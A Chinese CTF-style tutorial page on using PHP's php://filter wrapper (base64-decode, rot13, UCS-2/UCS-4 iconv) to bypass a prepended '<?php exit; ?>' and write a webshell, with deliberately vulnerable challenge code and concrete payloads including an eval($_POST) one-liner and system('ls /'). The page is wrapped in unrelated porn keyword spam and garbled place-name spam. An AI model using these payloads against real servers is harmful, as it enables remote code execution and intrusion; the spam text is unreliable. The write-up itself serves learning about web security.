最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

php filter協(xié)議使用方法

 更新時(shí)間:2022年12月15日 09:04:00   作者:偶爾躲躲烏云334  
php://filter是一種設(shè)計(jì)用來(lái)允許過(guò)濾器程序在打開(kāi)時(shí)成為流的封裝協(xié)議。這對(duì)于單獨(dú)具有完整功能的文件函數(shù)非常有用,否則就沒(méi)有機(jī)會(huì)在讀取內(nèi)容之前將過(guò)濾器應(yīng)用于流之上
<?php
highlight_file(__FILE__);
error_reporting(0);
$content = $_POST['content'];
file_put_contents($_GET['filename'], "<?php exit; ?>".$content);
?>

base64加密

看文章的時(shí)候看到這樣的一個(gè)代碼,發(fā)現(xiàn)我們往文件中寫入的時(shí)候,肯定會(huì)執(zhí)行<?php exit;?>,可是這樣就直接退出了就不能執(zhí)行我們后面的命令,所以我們要想辦法去繞過(guò),或者說(shuō)不執(zhí)行這個(gè)exit

這道題,可控點(diǎn)有兩個(gè) filename 和 content,先直接給出payload ,然后解析

GET:?filename=php://filter/convert.base64-decode/resource=shell.php

POST:content=PD9waHAgcGhwaW5mbygpOz8+

上面的POST段為<?php phpinfo();?>加密段

看完大佬的文章理解:

base64只對(duì)64個(gè)字符解密,那如果不是64個(gè)字符中的,會(huì)直接忽略不計(jì)

并且base64中的字符,是要求是4個(gè)字節(jié)的倍數(shù),如果實(shí)在不行則=補(bǔ)齊

隨便輸入一個(gè)都是4字節(jié)的倍數(shù)

<?php exit; ?>這個(gè)數(shù)據(jù)是固定的,而< > ; ?是64以外的字符,解碼時(shí)會(huì)忽略,我們需要考慮的就是phpexit(空格不需要考慮),因?yàn)槭?的倍數(shù),如果在最后面系統(tǒng)自動(dòng)加上=號(hào)的話,就改變了我們期望的值,所以需要我們手動(dòng)進(jìn)行修改,這時(shí)候我們可以在前面隨便添加一個(gè)數(shù)據(jù),讓它與phpexit組合起來(lái),成為一個(gè)亂碼,不會(huì)影響后面的執(zhí)行。

還有一道就是最近遇到的一道題目,和上面的思路差不多

eval("#".$_GET['flag]);

這個(gè)#影響了我后面get傳參,不能進(jìn)行命令執(zhí)行

所以我的思路也是想如何繞過(guò)#,或者刪除了它

可是,當(dāng)時(shí)想了很久都沒(méi)有想出來(lái),還是大佬的提醒點(diǎn)了我一下

這既然是php里面的命令,我們完全可以把前面的閉合掉,然后自己再插入一句話木馬

cmd=?><?php eval($_POST['shell']);

shell=system('ls /');進(jìn)行這樣的操作獲得flag等等,當(dāng)時(shí)腦袋瓦特了想不起來(lái)

rot13編碼繞過(guò)

rot13編碼的本質(zhì)就是將字母左移13位。

如:<?php phpinfo();>經(jīng)過(guò)rot13編碼后這樣:<?cuc cucvasb();?>

用在php://filter中的話格式大概為這樣

php://filter/string.rot13/resource=文件名

這樣的話上面的題目,用rot13繞過(guò)前面的 exit就會(huì)轉(zhuǎn)成別的東西,而我們輸入的則最后還是那串執(zhí)行代碼,這樣也就可以繞過(guò)了

結(jié)果非常清楚,前面exit被認(rèn)為是加密解密成這樣,后面我們事先加了密,所以抵消,還是原來(lái)的

加強(qiáng)繞過(guò)exit

<?php
highlight_file(__FILE__);
error_reporting(0);
$content = $_GET['content'];
file_put_contents($content, "<?php exit();".$content);

代碼換成了這樣,好比上面讓你疊飛機(jī)下面讓你造飛機(jī)(-0-)

顯而易見(jiàn),只有content這一個(gè)傳參點(diǎn)了

這種就是加了一個(gè)write直接寫入文件,然后紅色部分/可以換成別的管道符,只要和rot13隔開(kāi)就行

convert.iconv.

1.usc-2

這個(gè)編碼就是2個(gè)為一組交換字符的位置(空格也會(huì)交換)

為什么我們可以把filter直接寫入,因?yàn)閷懭胍院笾挥形覀冚斎氲囊痪湓捘抉R會(huì)被執(zhí)行,別的就相當(dāng)于亂碼一樣

2.usc-4

就是換成了4個(gè)字符一組交換

總結(jié):我們的思路其實(shí)都是相同的,通過(guò)某一個(gè)手段把exit繞過(guò),然后執(zhí)行我們的命令,其實(shí)就是用一些編碼的特性,base64 rot13 usc-2 usc-4,都會(huì)把exit變成別的亂碼一般。

到此這篇關(guān)于php filter協(xié)議使用方法的文章就介紹到這了,更多相關(guān)php filter協(xié)議內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • PHP 危險(xiǎn)函數(shù)解釋 分析

    PHP 危險(xiǎn)函數(shù)解釋 分析

    在編譯 PHP 時(shí),如無(wú)特殊需要,一定禁止編譯生成 CLI 命令行模式的 php 解析支持。
    2009-04-04
  • 分享幾種好用的PHP自定義加密函數(shù)(可逆/不可逆)

    分享幾種好用的PHP自定義加密函數(shù)(可逆/不可逆)

    最近的項(xiàng)目中一直有用到加密函數(shù),今天來(lái)給大家推薦幾個(gè)好用且我自己常用的加密函數(shù),這幾個(gè)都是可逆的加密函數(shù),其中也有針對(duì)于ID的加密函數(shù),需要的朋友可以參考下
    2020-09-09
  • PHP 內(nèi)存緩存加速功能memcached安裝與用法

    PHP 內(nèi)存緩存加速功能memcached安裝與用法

    memcached 簡(jiǎn)介在很多場(chǎng)合,我們都會(huì)聽(tīng)到 memcached 這個(gè)名字,但很多同學(xué)只是聽(tīng)過(guò),并沒(méi)有用過(guò)或?qū)嶋H了解過(guò),只知道它是一個(gè)很不錯(cuò)的東東。這里簡(jiǎn)單介紹一下。
    2009-09-09
  • THINKPHP支持YAML配置文件的設(shè)置方法

    THINKPHP支持YAML配置文件的設(shè)置方法

    這篇文章主要介紹了THINKPHP支持YAML配置文件的設(shè)置方法,本文講解了為什么要用 yaml以及在THINKPHP中的配置方法,需要的朋友可以參考下
    2015-03-03
  • PHP abstract 抽象類定義與用法示例

    PHP abstract 抽象類定義與用法示例

    這篇文章主要介紹了PHP abstract 抽象類定義與用法,結(jié)合實(shí)例形式分析了php定義abstract抽象類以及繼承抽象類等具體使用技巧,需要的朋友可以參考下
    2018-05-05
  • PHP中 empty() 和 isset() 的區(qū)別介紹

    PHP中 empty() 和 isset() 的區(qū)別介紹

    作為PHP中經(jīng)常用來(lái)判斷變量是否為空的函數(shù):empty()和isset() ,二者其實(shí)在很多方面還是存在區(qū)別的,本文將為大家詳細(xì)介紹一下他們的區(qū)別之處,需要的朋友可以了解一下
    2021-12-12
  • PHP最常用的ini函數(shù)分析 針對(duì)PHP.ini配置文件

    PHP最常用的ini函數(shù)分析 針對(duì)PHP.ini配置文件

    php的配置函數(shù)就是幾個(gè)ini_*的函數(shù),主要是針對(duì)配置文件的操作,其實(shí)就四個(gè)函數(shù):ini_get、ini_set、ini_get_all、ini_restore。個(gè)人感覺(jué)最有用的就是ini_set和ini_get。
    2010-04-04
  • PHP自動(dòng)生成表單代碼分享

    PHP自動(dòng)生成表單代碼分享

    在PHP開(kāi)發(fā)過(guò)程中,我們有時(shí)候會(huì)遇到表單不固定的情況,需要在程序運(yùn)行過(guò)程中動(dòng)態(tài)生成,這里分享一個(gè)PHP自動(dòng)創(chuàng)建表單的類給大家
    2015-06-06
  • PHP file_exists問(wèn)題雜談

    PHP file_exists問(wèn)題雜談

    我發(fā)現(xiàn)了一個(gè)問(wèn)題,今天與大家分享。我把整個(gè)過(guò)程描述一下
    2012-05-05
  • PHP中extract()函數(shù)的妙用分析

    PHP中extract()函數(shù)的妙用分析

    近日在看一個(gè)牛人的代碼時(shí),看到一個(gè)非常好用的函數(shù):extract(),它的主要作用是將數(shù)組展開(kāi),鍵名作為變量名,元素值為變量值,可以說(shuō)為數(shù)組的操作提供了另外一個(gè)方便的工具
    2012-07-07

最新評(píng)論

和顺县| 仲巴县| 吉安县| 阿坝| 常州市| 晋中市| 长宁区| 迁安市| 博野县| 乐都县| 吉安市| 防城港市| 临沂市| 扎囊县| 新竹县| 泗阳县| 汾西县| 分宜县| 固镇县| 巴塘县| 墨脱县| 阳山县| 庆元县| 鹤岗市| 手游| 平安县| 容城县| 黄浦区| 兴化市| 四会市| 玉环县| 屏东县| 兰溪市| 青河县| 延吉市| 乳源| 新源县| 甘洛县| 洛扎县| 香港| 临沂市|